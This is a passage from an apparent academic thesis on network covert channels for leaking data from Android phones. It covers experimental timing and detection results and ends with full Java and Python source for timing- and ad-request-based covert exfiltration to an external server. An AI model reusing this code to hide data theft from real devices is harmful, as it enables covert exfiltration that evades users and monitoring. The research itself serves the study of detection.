protocol. TCP does not immediately respond to every received TCP packet with an ACK. TCP 
waits for a period, expecting that an application response might be sent, and the ACK can be 
included in the response to save bandwidth. If a second TCP packet is received during this 
waiting period, TCP immediately responds with an ACK. Because our testing application was 
transmitting TCP messages consisting only of a single packet, the server waited to respond with 
an ACK after every other packet causing this result. We verified this behavior by analyzing the 
traffic with Wireshark. Our Android application sends two packets, and then waits until it 
receives an ACK before sending more, and thus every other delay is a high value. Taking this 
into consideration, we redesigned our server application by having it respond to every TCP 
message received with a short response. This effectively sends an immediate ACK for every 
message received. Repeating the experiment with this change yielded the observed values shown 
in Figure 4.2, again for the first twenty delays observed. 
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Figure 4.2 Output Symbols Observed with Input Symbol of 0 ms, 
with forced ACK after each message  
(First 20 Observed Delays) 
 
With this modification, we were able to obtain a much more consistent input symbol to output 
symbol relationship. For our sample size of 350 delays, we observed a mean delay of 88 ms, a 
range from 60 to 127 ms, and a standard deviation (jitter) of 10 ms. A frequency of observed 
symbols is shown in Figure 4.3. 
Figure 4.3 Output Symbols Observed by Server with Input Symbol of 0 ms (350 samples) 
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We then conducted the same experiment using input symbols of 25, 50, and 75 ms (see 
Table 4.1). The output symbol distribution observed was nearly identical in all three cases to the 
distribution observed when an input symbol of 0 ms was used. This is attributed to the fact that 
the observed inter-message delay time is a product of the operation of TCP rather than a delay 
introduced by our application. For the input symbol to have the desired effect on the observed 
output symbol, it must be larger than the inherent delay introduced by TCP, which under our 
network conditions was 88 ms. 
When we performed the experiment using an input value of 100 ms, we observed a mean 
inter-message delay of 102 ms, a range of 78 ms to 139 ms, and a standard deviation of 10 ms. 
As we expected, by introducing an application delay that is larger than the inherent delay 
introduced by TCP, we were able to affect the observed output distribution. A frequency of 
observed symbols is shown in Figure 4.4. 
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Figure 4.4 Output Symbols Observed by Server with Input Symbol of 100 ms (350 samples) 
 The input symbol of 100 ms as a representation for a binary 1 would not be a good choice 
for our covert channel due to its distribution overlap with our input symbol of 0 ms for a binary 
0. 
 When we performed the experiment using an input value of 150 ms, we observed an 
output distribution with very little overlap with the distribution for 0 ms. For the sample size of 
350 observations, the mean observed value was 151 ms, the range was 114 to 186 ms, and the 
standard deviation was 12 ms. A frequency chart of observed symbols is shown in Figure 4.5. 
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Figure 4.5 Output Symbols Observed by Server with Input Symbol of 150 ms (350 samples) 
 
Increasing the input value to 200 ms yielded a distribution with no overlap with the 
distribution for 0 ms. For a sample size of 350 observations, the mean observed value was 201 
ms, the range was 158 to 246 ms, and the standard deviation was 14 ms. 
4.2 Covert Timing Channel - Baseline Accuracy and Throughput Experimental Results 
After determining possible input symbol values for representing a binary 1 for our covert 
channel, we tested the accuracy and overall throughput of channels implemented using these 
input symbols. Again, these channels were implemented without the overhead of overt traffic. 
For each combination of input values, a threshold value was selected based on the results of the 
previous experiments. If a delay is observed below the threshold value, it is treated as a binary 0. 
If a delay is observed that is greater than the threshold value, it is treated as a binary 1. The input 
values used and the associated threshold values are shown in Table 4.2. 
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Table 4.2 
Baseline Accuracy and Throughput Experiment 
Input Symbols and Threshold Values Used 
Input Symbol 
for Binary 0 
(ms) 
Input Symbol 
for Binary 1 
(ms) 
Threshold 
Value (ms) 
0 100 95 
0 150 110 
0 200 130 
For each combination of input and threshold value, we measured the accuracy and 
throughput of a covert channel by transmitting the string value "wadegasior@gmail.com" 
encoded to 7-bit ASCII. The results are shown in Table 4.3. Each combination was tested five 
times, and the average accuracy and throughput recorded.  
Table 4.3 
Baseline Accuracy and Throughput Experiment Results 
Input Symbol 
for Binary 0 
(ms) 
Input Symbol 
for Binary 1 
(ms) 
Threshold 
Value (ms) 
Throughput 
(bps) 
Accuracy (%) 
0 100 95 9.3 81.7 
0 150 110 7.8 99.2 
0 200 130 7.2 100 
 
These results demonstrated an expected correlation between delay length, accuracy and 
throughput. Using larger delays for the binary 1 input symbol (with a larger associated threshold 
value) results in more accurate transmissions at the cost of throughput. 
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4.3 Covert Timing Channel - Effect of Overt Channel Overhead 
To test the impact of embedding our binary covert channel in an application that 
generates its own overt traffic, we used the video streaming application discussed in Chapter 3. 
We first tested the application with no covert channel in order to measure the baseline delay 
between TCP messages when video frames are streamed at maximum speed. The size of a 
compressed video frame generated by our application can be adjusted from approximately 1,300 
bytes up to 88,000 bytes based on quality settings. The maximum payload that a single TCP 
packet can carry is 1,448 bytes, so video frames larger than this size require multiple packets to 
be transmitted. We tested the baseline delay between TCP messages for video frames of various 
sizes by transmitting frames of each given size 1,000 times each and measuring the observed 
delays. The results of these measurements are shown in Table 4.4. 
Table 4.4 
  Video Frame Sizes and Resulting Observed Symbol Distribution Statistics 
Video 
Frame Size 
(b) 
Number of 
Packets Per 
Video 
Frame 
Mean 
Observed 
Output 
Delay (ms) 
Minimum 
Observed 
Output 
Delay (ms) 
Maximum 
Observed 
Output 
Delay (ms) 
Std. 
Deviation 
Observed 
(ms) 
1448 1 70 0 218 39 
2896 2 66 0 232 46 
4344 3 71 0 275 46 
The lower mean values observed compared with the covert channel implementation with 
no overhead is a product of packets with larger payloads being transmitted. When the packet 
sizes are larger, there is naturally a smaller gap delay between them. The increase in payload size 
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also caused the higher range and higher standard deviation values. In particular, when multiple 
packets are required to carry a payload, the timing between messages becomes more 
inconsistent. The increased range and jitter can be attributed to a higher rate of dropped packets 
(connection is stressed more) and the variable processing time of video frames on the Android 
device. The observation of delays of zero is also a product of dropped packets, as two messages 
are then received in rapid succession from the point of view of the server application. 
4.4 Covert Timing Channel - Accuracy and Bandwidth Experimental Results 
To determine the accuracy and throughput of a covert channel embedded in our video 
streaming application, we implemented the covert channel using various input symbols to 
represent a binary 1 and appropriate threshold values based on the experimental results in the 
previous section. The values tested are shown in Table 4.5. For all values tested, we used video 
frame sizes of 1,448 bytes.  
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Table 4.5 
Accuracy and Throughput Determination of Embedded Covert Channel 
Input Symbols and Threshold Values Used 
Input Symbol 
for Binary 0 
(ms) 
Input Symbol 
for Binary 1 
(ms) 
Threshold 
Value (ms) 
0 120 150 
0 150 150 
0 200 150 
0 250 200 
For each combination of input and threshold value, we measured the accuracy and 
throughput of an embedded covert channel by transmitting the string value 
"wadegasior@gmail.com" encoded using 8-bit ASCII. The results are shown in Table 4.6. Each 
combination was tested five times, and the average accuracy and throughput recorded. 
Table 4.6 
Accuracy and Throughput Determination of Embedded Covert Channel Results 
Input Symbol 
for Binary 0 
(ms) 
Input Symbol 
for Binary 1 
(ms) 
Threshold 
Value (ms) 
Throughput 
(bps) 
Accuracy (%) 
0 120 150 7.6 98.1 
0 150 150 7.0 99.4 
0 200 150 6.1 99.9 
0 250 200 5.5 100 
As we saw in the results for the covert channel implementation with no overhead, using a 
higher value for our binary 1 input symbol resulted in a more accurate covert channel at the cost 
of throughput. Our most effective combination was to use a value of 200 ms for our binary 1 
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input with a threshold value of 150 ms. This combination provided an accuracy approaching 
100% with a relatively small tradeoff in throughput. 
4.5 Covert Timing Channel - Detection Results 
To determine if our covert channel is detectable by current CC detection techniques, we 
used simple statistical analysis, entropy-based detection, and variance pattern detection. For all 
three tests, we used two samples of 1,000 inter-message delays collected from our video 
streaming application: one sample with overt traffic only, and one sample with an embedded 
covert channel. The covert channel samples were taken using an input symbol for binary 1 of 
200 ms and video frame size of 1,448 bytes.  
4.5.1 Detection Using Statistical Analysis 
To apply the statistical analysis method to our samples, we first binned the values into 20 
bins of equal size over the range of the data. Frequency charts showing the result of the data 
binning are shown in Figure 4.6 and Figure 4.7. 
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Figure 4.6 Frequency of Binned Inter-Message Delays  
(Streaming Video Overt Traffic Only) 
 
Figure 4.7 Frequency of Binned Inter-Message Delays  
(Streaming Video with Embedded Covert Channel) 
For the sample set with only overt traffic, the mean was included in bin 6, which had a 
frequency of 213. The maximum frequency of 240 occurred at bin 3.The probability of the 
sample containing a covert channel was calculated using Formula 2-3. 
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For the sample set containing an embedded covert channel, the mean was at bin 9, which 
had a frequency of 14. The maximum frequency of 158 occurred at bin 2. The probability of the 
sample containing a covert channel is again calculated using Formula 2-3. 
                 
  
    
   
  
   
        
This test was effective at detecting our covert channel. The graphs show that the inter-
message delays for our covert channel clearly center around two distinct values, while the delays 
for our normal channel center around a single value. 
4.5.2 Detection Using Entropy-Based Analysis 
For evaluating detection of our covert channel using the entropy-based technique, we 
used source code provided by the author of [15] to determine the estimated entropy and corrected 
conditional entropy of each sample set using bin sizes of 5 and 20. The results are shown in 
Table 4.7. 
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Table 4.7 
Results of Entropy-Based Detection 
Bin Size Test Overt Sample Covert 
Sample 
5 EN 1.120 1.840 
5 CCE 0.933 1.675 
20 EN 2.872 3.702 
20 CCE 2.560 3.574 
These results show that the entropy-based technique is not effective at detecting our covert 
channel. This is because the test is based on the principle that traffic containing a covert channel 
will be less random than traffic that does not contain a covert channel. In the case of our sample 
data, this is actually the reverse. Our sample containing only overt traffic contains values that are 
much more regular than those contained in our covert sample. 
4.5.3 Detection Using Variance-Pattern Analysis 
To evaluate the ability for variance-pattern based testing to detect our covert channel, we 
calculated regularity measures for each sample as described in Section 2.6.1. We used three 
combinations of window size and jump values. The results are shown in Table 4.8. 
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Table 4.8 
Results of Variance-Pattern Analysis 
Window Size Jump Size Overt Sample 
Regularity 
Covert 
Sample 
Regularity 
20 5 0.207 0.040 
20 1 0.094 0.017 
10 2 0.241 0.060 
These results show that variance-pattern analysis is effective at detecting our covert channel. The 
calculated regularity measure is higher for the overt sample than the covert sample for all tested 
combinations of window and jump sizes.  
4.6 Storage Covert Channel - Throughput Results 
To determine the throughput of our storage-based covert channel implementation, we 
experimented with various values for the number of advertisement banners available ( ) and the 
frequency at which advertisement banners are fetched. Naturally, the higher the value of  , the 
more data per advertisement fetch is transmitted. An update frequency of ten seconds was 
deemed as the lowest value that could be used without raising the suspicions of the user. The 
throughput results for each combination tested are shown in Table 4.9.  
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Table 4.9 
Storage Covert Channel Throughput Results 
Number of 
Ad Banners 
(n) 
CC Bits per 
Request 
Update 
Frequency  
(s) 
Throughput 
(bps) 
2
16
 16 10 1.6 
2
16
 16 20 0.8 
2
32
 32 10 3.2 
2
32
 32 20 1.6 
2
64
 64 10 6.4 
2
64
 64 20 3.2 
In order to match the throughput of our covert timing channel implementation, a very 
large number of advertisement banners must be available to fetch. Note, however, that there is no 
need that the actual advertisement banner content be unique. Accuracy is not a concern with this 
covert channel implementation. This implementation is always 100% accurate as long as the 
application is allowed to run to completion. 
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CHAPTER 5 
CONCLUSION 
In this study, we proposed that network covert channels could be implemented on mobile 
devices that allow data to be leaked from the device via its network connection in a manner that 
is very difficult to detect. We verified this by implementing both timing-based and storage-based 
network covert channels on an Android-powered smartphone, and using these channels to 
covertly transfer information from the phone to an external server. Several challenges were 
presented to us during implementation, including being forced to implement our covert channels 
at a higher network abstraction layer than desired, accounting for the varying connection quality 
provided by the cellular network, and operating in a confined runtime environment on the 
Android device. We were able to develop measures to account for each of these, and our result 
was a successful implementation of both types of covert channels on the device. 
We investigated current covert channels detection and prevention techniques, primarily 
aimed at enterprise-type environments. We verified that these detection techniques are mostly 
successful at detecting the covert timing channel that we implemented, but we concluded that 
none of the current approaches are suitable for detecting or preventing covert channels on mobile 
devices due to the lower amount of system resources inherent on these devices. It would also be 
fairly unreasonable to implement these techniques at the network level due to the scale of such 
an implementation. The cost to benefit ratio would be very low. Our work shows that new 
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mechanisms of detection and prevention of covert channels targeted specifically at mobile 
devices may be necessary. Perhaps of higher priority should be developing techniques that secure 
sensitive data on these devices, preventing access to it from malicious applications. This problem 
is much smaller and effective measures could be more easily developed. 
5.1 Future Work 
In future work, we would like to develop more robust covert channels for mobile devices, 
as well as detection methods aimed at mobile devices. The proof of concept covert timing 
channel implementation presented in this work is a simple binary channel with no error 
correction, no synchronization, and no features to make it more resistant to detection. In order to 
deploy a covert channel such as this in a real-world scenario, these factors must be given more 
attention. 
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APPENDIX A 
SOURCE CODE
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ANDROID COVERT TIMING CHANNEL 
CLIENT IMPLEMENTATION (JAVA) 
package com.wadegasior.cc; 
 
import java.io.ByteArrayOutputStream; 
import java.io.DataOutputStream; 
import java.io.IOException; 
import java.io.OutputStream; 
import java.net.Socket; 
import java.net.UnknownHostException; 
import java.util.List; 
 
import com.wadegasior.R; 
 
import android.app.Activity; 
import android.graphics.ImageFormat; 
import android.graphics.Rect; 
import android.graphics.YuvImage; 
import android.hardware.Camera; 
import android.hardware.Camera.Size; 
import android.os.Bundle; 
import android.os.SystemClock; 
import android.util.Log; 
import android.view.Surface; 
import android.view.SurfaceHolder; 
import android.view.SurfaceView; 
import android.view.View; 
import android.widget.Button; 
 
public class DroidCCDemo extends Activity implements View.OnClickListener, 
  SurfaceHolder.Callback, Camera.PreviewCallback { 
 private static final String TAG = "AVCC"; 
 private static final int IMAGE_QUALITY = 50; 
 private static final CovertMessage COVERT_MESSAGE = new CovertMessage( 
   "wadegasior@gmail.com"); 
 private static final long DELAY_TIME = 250L; 
 private static final String SERVER_HOST = "codebridge.org"; 
 private static final int SERVER_PORT = 16250; 
 
 // send this many packets before transmitting covert message 
 private static final int PREAMBLE_LENGTH = 20; 
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// send the message this many times 
 private static final int ITERATIONS = 1; 
 
 private Socket imgSenderSocket = null; 
 private OutputStream out; 
 private DataOutputStream dos; 
 private Camera camera; 
 private boolean previewRunning = false; 
 private SurfaceView surfaceView; 
 private SurfaceHolder surfaceHolder; 
 private int numDelaysSent = 0; 
 private boolean transmitting = false; 
 
 /** Called when the activity is first created. */ 
 @Override 
 public void onCreate(Bundle savedInstanceState) { 
  super.onCreate(savedInstanceState); 
  setContentView(R.layout.main); 
  surfaceView = (SurfaceView) findViewById(R.id.surface_camera); 
  surfaceHolder = surfaceView.getHolder(); 
  surfaceHolder.addCallback(this); 
  surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); 
  setButtonListeners(); 
 } 
 
 @Override 
 public void onResume() { 
  super.onResume(); 
  setupTCPServerConnection(); 
 } 
 
 @Override 
 public void onPause() { 
  super.onPause(); 
  destroyTCPServerConnection(); 
 } 
 
 @Override 
 public void onPreviewFrame(byte[] data, Camera camera) { 
  if (transmitting) { 
   PreviewFrame pf = new PreviewFrame(camera, data); 
   byte[] imageBytes = processFrame(pf).toByteArray(); 
   sendBytesToServer(imageBytes); 
  } 
 } 
 
  
private void sendBytesToServer(byte[] imageBytes) { 
  try { 
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   dos.writeInt(imageBytes.length); 
   dos.write(imageBytes); 
   dos.flush(); 
   numDelaysSent++; 
 
   if (numDelaysSent >= PREAMBLE_LENGTH) { 
    int bitPosition = (numDelaysSent - PREAMBLE_LENGTH) 
      % COVERT_MESSAGE.getBitLength(); 
    int iteration = (numDelaysSent - PREAMBLE_LENGTH) 
      / COVERT_MESSAGE.getBitLength(); 
    if (COVERT_MESSAGE.getBit(bitPosition) == '1' 
      && iteration < ITERATIONS) { 
     SystemClock.sleep(DELAY_TIME); 
    } 
   } 
  } catch (Exception e) { 
   transmitting = false; 
   Log.d(TAG, e.getMessage()); 
  } 
 } 
 
 private void setupTCPServerConnection() { 
  Log.d(TAG, "Setting up server connection"); 
  try { 
   imgSenderSocket = new Socket(SERVER_HOST, SERVER_PORT); 
   imgSenderSocket.setReceiveBufferSize(Integer.MAX_VALUE); 
   imgSenderSocket.setTrafficClass(0x08); 
   imgSenderSocket.setTcpNoDelay(true); 
   out = imgSenderSocket.getOutputStream(); 
   dos = new DataOutputStream(out); 
   Log.d(TAG, "Server connection established."); 
   numDelaysSent = 0; 
  } catch (UnknownHostException e) { 
   Log.d(TAG, e.getMessage()); 
  } catch (IOException e) { 
   Log.d(TAG, e.getMessage()); 
  } 
 } 
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private void destroyTCPServerConnection() { 
  try { 
   out.close(); 
   dos.close(); 
   imgSenderSocket.close(); 
   Log.d(TAG, "Server connection closed."); 
  } catch (Exception e) { 
   Log.d(TAG, "Tried to destroy connection: " + e.getMessage()); 
  } 
 } 
 
 private void setButtonListeners() { 
  Button[] buttons = { (Button) findViewById(R.id.startButton), 
    (Button) findViewById(R.id.stopButton) }; 
 
  for (Button b : buttons) { 
   b.setOnClickListener(this); 
  } 
 
 } 
 
 @Override 
 public void onClick(View v) { 
  final int clickedId = v.getId(); 
 
  switch (clickedId) { 
  case R.id.startButton: 
   if (!imgSenderSocket.isConnected()) { 
    setupTCPServerConnection(); 
   } 
   transmitting = true; 
   break; 
  case R.id.stopButton: 
   transmitting = false; 
   break; 
  default: 
   break; 
  } 
 } 
 
 @Override 
 public void surfaceCreated(SurfaceHolder holder) { 
  camera = Camera.open(); 
  if (camera != null) { 
   Camera.Parameters params = camera.getParameters(); 
   camera.setParameters(params); 
   camera.setPreviewCallback(this); 
  } 
 } 
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 @Override 
 public void surfaceChanged(SurfaceHolder holder, int format, int width, 
   int height) { 
  if (previewRunning) { 
   camera.setPreviewCallback(null); 
   camera.stopPreview(); 
  } 
 
  Camera.Parameters p = camera.getParameters(); 
  setCameraPreviewSize(p, width, height); 
  p.setPreviewFormat(ImageFormat.YUY2); 
  camera.setParameters(p); 
  setCameraDisplayOrientation(this, 0, camera); 
 
  try { 
   camera.setPreviewDisplay(holder); 
   camera.startPreview(); 
   camera.setPreviewCallback(this); 
   previewRunning = true; 
  } catch (IOException e) { 
   Log.e(TAG, e.getMessage()); 
  } 
 } 
 
 @Override 
 public void surfaceDestroyed(SurfaceHolder holder) { 
  Log.d(TAG, "surfaceDestroyed called"); 
  camera.setPreviewCallback(null); 
  camera.stopPreview(); 
  previewRunning = false; 
  camera.release(); 
 } 
 
 private static void setCameraPreviewSize(Camera.Parameters params, 
   int width, int height) { 
  List<Camera.Size> previewSizes = params.getSupportedPreviewSizes(); 
  Camera.Size previewSize = null; 
  for (Camera.Size size : previewSizes) { 
   if (size.height <= height && size.width <= width) { 
    previewSize = size; 
   } 
  } 
  params.setPreviewSize(previewSize.width, previewSize.height); 
 } 
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public static void setCameraDisplayOrientation(Activity activity, 
   int cameraId, android.hardware.Camera camera) { 
android.hardware.Camera.CameraInfo info = new 
android.hardware.Camera.CameraInfo(); 
  android.hardware.Camera.getCameraInfo(cameraId, info); 
  int rotation = activity.getWindowManager().getDefaultDisplay() 
    .getRotation(); 
  int degrees = 0; 
  switch (rotation) { 
  case Surface.ROTATION_0: 
   degrees = 0; 
   break; 
  case Surface.ROTATION_90: 
   degrees = 90; 
   break; 
  case Surface.ROTATION_180: 
   degrees = 180; 
   break; 
  case Surface.ROTATION_270: 
   degrees = 270; 
   break; 
  } 
 
  int result; 
  if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) { 
   result = (info.orientation + degrees) % 360; 
   result = (360 - result) % 360; 
  } else { 
   result = (info.orientation - degrees + 360) % 360; 
  } 
  camera.setDisplayOrientation(result); 
 } 
 
 private ByteArrayOutputStream processFrame(PreviewFrame pf) { 
  Camera.Parameters p = pf.getCamera().getParameters(); 
  Size size = pf.getSize(); 
  YuvImage image = new YuvImage(pf.getBytes(), p.getPreviewFormat(), 
    size.width, size.height, null); 
 
  ByteArrayOutputStream imageStream = new ByteArrayOutputStream(); 
 
  image.compressToJpeg( 
    new Rect(0, 0, image.getWidth(), image.getHeight()), 
    IMAGE_QUALITY, imageStream); 
 
  return imageStream; 
 } 
 
} 
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package com.wadegasior.cc; 
 
import java.math.BigInteger; 
 
public class CovertMessage { 
 
 private final String msg; 
 private final byte[] bytes; 
 private final String bitString; 
 public final static char START_SYMBOL = '['; 
  
 public CovertMessage(String msg) { 
  this.msg = START_SYMBOL + msg; 
  this.bytes = getAsciiBytes(this.msg); 
  this.bitString = new BigInteger(bytes).toString(2); 
 } 
  
 public final String getMsg() { 
  return msg; 
 } 
 
 public final byte[] getBytes() { 
  return bytes; 
 } 
 
 public final String getBitString() { 
  return bitString; 
 } 
  
 public final char getBit(int position) { 
  return bitString.charAt(position); 
 } 
  
 public final int getBitLength() { 
  return bitString.length(); 
 } 
  
 private static final byte[] getAsciiBytes(String input) { 
  char[] c = input.toCharArray(); 
  byte[] b = new byte[c.length]; 
  for (int i = 0; i < c.length; i++) 
   b[i] = (byte) (c[i] & 0x007F); 
  return b; 
 } 
  
}
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package com.wadegasior.cc; 
 
import android.hardware.Camera; 
import android.hardware.Camera.Size; 
 
public class PreviewFrame { 
  
 private final Camera camera; 
 private final byte[] bytes; 
 private final Size size; 
  
 public PreviewFrame(Camera c, byte[] bytes) { 
  this.camera = c; 
  this.bytes = bytes; 
  this.size = c.getParameters().getPreviewSize(); 
 } 
  
 public Camera getCamera() { 
  return camera; 
 } 
 
 public byte[] getBytes() { 
  return bytes; 
 } 
 
 public Size getSize() { 
  return size; 
 } 
 
} 
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ANDROID COVERT TIMING CHANNEL 
SERVER IMPLEMENTATION (JAVA) 
package com.wadegasior.cc; 
 
import javax.swing.SwingUtilities; 
 
public class CCServerDemo { 
 public static void main(String[] args) throws Exception { 
  SwingUtilities.invokeLater(new Runnable() { 
   public void run() { 
    try { 
     CamDisplay cd = new CamDisplay(); 
     new Thread(new CCServer(cd)).start(); 
    } catch (Exception e) { 
     System.out.println("Could not create server."); 
    } 
   } 
  }); 
 } 
} 
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package com.wadegasior.cc; 
 
import javax.swing.JFrame; 
import javax.swing.UIManager; 
 
public class CamDisplay extends JFrame { 
 private static final long serialVersionUID = 1L; 
 
 private CamPanel cp; 
 
 public CamDisplay() { 
  setLookAndFeel(); 
  setTitle("Covert Channel Demo - Wade Gasior"); 
  setSize(600, 700); 
  setLocationRelativeTo(null); 
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
   
  cp = addCamDisplay(); 
  setVisible(true); 
 } 
  
 public void updateImage(byte[] bytes) { 
  this.cp.updateImage(bytes); 
 } 
 
 public CamPanel getCP() { 
  return this.cp; 
 } 
 
 private static void setLookAndFeel() { 
  try { 
  
 UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); 
  } catch (Exception e) { 
   System.out.println("Error setting native LAF: " + e); 
  } 
 } 
 
 private CamPanel addCamDisplay() { 
  CamPanel cp = new CamPanel(); 
  add(cp); 
  return cp; 
 } 
 
} 
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package com.wadegasior.cc; 
 
import java.awt.Component; 
import java.awt.Graphics; 
import java.awt.geom.AffineTransform; 
import java.awt.image.AffineTransformOp; 
import java.awt.image.BufferedImage; 
import java.io.ByteArrayInputStream; 
import java.io.IOException; 
import java.io.InputStream; 
import javax.imageio.ImageIO; 
 
public class CamPanel extends Component { 
 private static final long serialVersionUID = 1L; 
 private BufferedImage image = null; 
  
 public CamPanel() { 
  super(); 
 } 
  
 public void updateImage(byte[] bytes) { 
  InputStream is = new ByteArrayInputStream(bytes); 
  AffineTransform tx = new AffineTransform(); 
   
  try { 
   image = ImageIO.read(is); 
   tx.rotate(1.57079633, image.getWidth()/2., image.getHeight()/2.); 
    
   AffineTransformOp op = new AffineTransformOp(tx, 
AffineTransformOp.TYPE_BILINEAR); 
   image = op.filter(image, null); 
    
   paint( this.getGraphics() ); 
  } catch (IOException e) { 
   e.printStackTrace(); 
  } 
 } 
  
  
 public void paint(Graphics g) { 
        if(image == null) { 
         return; 
        } 
  int width = this.getWidth(); 
        int height = this.getHeight(); 
        g.drawImage(image, 0, 0, width, height, null); 
    }  
} 
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package com.wadegasior.cc; 
 
import java.io.DataInputStream; 
import java.io.IOException; 
import java.io.InputStream; 
import java.io.UnsupportedEncodingException; 
import java.math.BigInteger; 
import java.net.ServerSocket; 
import java.net.Socket; 
 
public class CCServer implements Runnable { 
 private static final String START_SYMBOL = "["; 
 private static final long THRESHOLD = 175; 
 
 private String receivedBits = ""; 
 private String receivedMessage = ""; 
 
 private CamDisplay cd; 
 private ServerSocket socket; 
 private static final int PORT = 16250; 
 private long timeOfLastPacket = 0L; 
 private boolean covertTransmissionStarted = false; 
 
 public CCServer(CamDisplay cd) throws IOException { 
  this.cd = cd; 
  socket = new ServerSocket(PORT); 
 } 
 
66 
 @Override 
 public void run() { 
  System.out.println("CCServer up and running"); 
 
  while (true) { 
 
   try { 
    Socket clientSocket = socket.accept(); 
    clientSocket.setTcpNoDelay(true); 
    InputStream in = clientSocket.getInputStream(); 
    DataInputStream dis = new DataInputStream(in); 
 
    int dataLength; 
    byte[] data; 
 
    while (true) { 
     dataLength = dis.readInt(); 
     data = new byte[dataLength]; 
     dis.readFully(data); 
long delay = System.currentTimeMillis() - 
timeOfLastPacket; 
     timeOfLastPacket = System.currentTimeMillis(); 
     cd.updateImage(data); 
     processDelay(delay); 
 
    } 
 
   } catch (Exception e) { 
    receivedBits = ""; 
    receivedMessage = ""; 
    e.printStackTrace(); 
   } 
  } 
 } 
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private void processDelay(long delay) { 
  char receivedChar = (delay > THRESHOLD) ? '1' : '0'; 
  receivedBits += receivedChar; 
  System.out.print("(" + delay + ", " + receivedChar + ") "); 
  if (receivedBits.length() < 8) { // collect more 
   return; 
  } 
  if (receivedBits.length() == 9) { // shift left 
   receivedBits = receivedBits.substring(1); 
  } 
 
  if (!covertTransmissionStarted) { 
   if (stringBitsToString(receivedBits).equals(START_SYMBOL) ) { 
    System.out.println("--Received start symbol--"); 
    covertTransmissionStarted = true; 
    receivedBits = ""; 
    return; 
   } 
  } 
 
  if (covertTransmissionStarted) { 
   if(receivedBits.equals("00000000")) { 
    covertTransmissionStarted = false; 
    System.out.println(receivedMessage); 
    receivedMessage = ""; 
   } 
   else { 
    System.out.println(stringBitsToString(receivedBits)); 
    receivedBits = ""; 
   } 
  } 
 
 } 
 
 private String stringBitsToString(String bits) { 
  byte[] recdByte = { new BigInteger(receivedBits, 2).byteValue() }; 
  try { 
   return new String(recdByte, "US-ASCII"); 
  } catch (UnsupportedEncodingException e) { 
   return "UNSUPPORTED ENCODING"; 
  } 
 } 
} 
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ANDROID COVERT STORAGE CHANNEL 
CLIENT IMPLEMENTATION (JAVA) 
package com.wadegasior.scc; 
 
import java.io.InputStream; 
import java.net.HttpURLConnection; 
import java.net.URL; 
import java.util.concurrent.ExecutorService; 
import java.util.concurrent.Executors; 
 
import android.app.Activity; 
import android.graphics.Bitmap; 
import android.graphics.BitmapFactory; 
import android.os.Bundle; 
import android.os.SystemClock; 
import android.widget.ImageView; 
import android.util.Log; 
 
public class AndroidSCCDemoActivity extends Activity { 
 private static final String TAG = "SCC"; 
 private static final String COVERT_MESSAGE = "wadegasior@gmail.com"; 
 private static final String AD_URL = "http://codebridge.org:16500/ad/"; 
 private static final long TIME_BETWEEN_ADS = 10000L; 
 ImageView adView; 
 private static volatile int currMsgIndex = 0; 
 
 ExecutorService background = Executors.newSingleThreadExecutor(); 
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/** Called when the activity is first created. */ 
 @Override 
 public void onCreate(Bundle savedInstanceState) { 
  super.onCreate(savedInstanceState); 
  setContentView(R.layout.main); 
  adView = (ImageView) findViewById(R.id.adview); 
 
  background.execute(new Runnable() { 
   @Override 
   public void run() { 
    while (true) { 
     String encodedHexString = ""; 
     if (currMsgIndex < COVERT_MESSAGE.length()) { 
      encodedHexString = Integer 
.toHexString(((int) 
COVERT_MESSAGE 
.charAt(currMsgIndex))); 
      Log.d(TAG, "Sending " + encodedHexString); 
      currMsgIndex++; 
     } else { 
      encodedHexString = "f8a"; 
      currMsgIndex = 0; 
     } 
     Log.d(TAG, "Fetching ad " + encodedHexString); 
     downloadAd(AD_URL + encodedHexString); 
     SystemClock.sleep(TIME_BETWEEN_ADS); 
    } 
   } 
  }); 
 
 } 
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private void downloadAd(String url) { 
  URL adUrl = null; 
  try { 
   adUrl = new URL(url); 
HttpURLConnection conn = (HttpURLConnection) 
adUrl.openConnection(); 
   conn.setDoInput(true); 
   conn.connect(); 
   InputStream is = conn.getInputStream(); 
   final Bitmap adImg = BitmapFactory.decodeStream(is); 
   adView.post(new Runnable() { 
    @Override 
    public void run() { 
     adView.setImageBitmap(adImg);    
  
    } 
   }); 
    
  } catch (Exception e) { 
   e.printStackTrace(); 
  } 
 } 
} 
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COVERT STORAGE CHANNEL 
SERVER IMPLEMENTATION (PYTHON) 
from flask import Flask, send_from_directory 
import os, random 
app = Flask(__name__) 
 
end_ad_id = 'f8a' 
 
@app.route("/ad/<ad_id>") 
def show_ad(ad_id): 
    print "Got request" 
    if ad_id == str(end_ad_id): 
        process() 
    else: 
        f = open('ad-requests.txt', 'a') 
        f.write(str(ad_id) + "\n") 
        f.close()     
     
    random.seed() 
    img = "ad0" + str(random.randint(1,9)) + ".png" 
    return send_from_directory("ads", img) 
 
def process(): 
    ad_requests = [] 
    f = open('ad-requests.txt', 'r') 
 
    for line in f: 
        for (a,b) in zip(*(iter( line ),) * 2): 
            ad_requests.append("0x" + a + b) 
    print ad_requests 
     
    chars = "" 
    for c in ad_requests: 
        chars = chars + chr(int(c, 0)) 
         
    print "Received covert message: " + chars 
    os.remove("ad-requests.txt") 
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if __name__ == "__main__": 
    app.debug = True 
    app.run(host='0.0.0.0')  
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